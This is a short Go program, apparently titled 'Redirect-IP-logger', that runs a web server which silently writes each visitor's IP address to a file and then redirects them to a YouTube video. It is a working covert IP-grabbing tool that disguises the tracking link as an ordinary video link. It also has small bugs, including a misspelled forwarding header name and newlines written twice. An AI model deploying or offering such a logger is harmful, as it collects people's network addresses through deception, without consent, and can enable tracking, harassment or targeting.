Redirect-IP-logger/server.go

43 lines
792 B
Go

package main
import (
"log"
"net/http"
"os"
)
func handler(w http.ResponseWriter, r *http.Request) {
ip := GetRealIP(r)
WritetoFile(ip + "\n")
http.Redirect(w, r, "https://www.youtube.com/watch?v=ZVQDHFgfssM", 301)
}
func GetRealIP(r *http.Request) string {
IP := r.Header.Get("X-Real-IP")
if IP == "" {
IP = r.Header.Get("X-Forwarder-For")
}
if IP == "" {
IP = r.RemoteAddr
}
if IP == "" {
IP = "No IPV4 address"
}
return IP
}
func WritetoFile(IP string) {
f, err := os.OpenFile("ListofIPs.txt",
os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
log.Println(err)
}
defer f.Close()
if _, err := f.WriteString(IP + "\n"); err != nil {
log.Println(err)
}
}
func main() {
http.HandleFunc("/", handler)
log.Fatal(http.ListenAndServe(":8081", nil))
}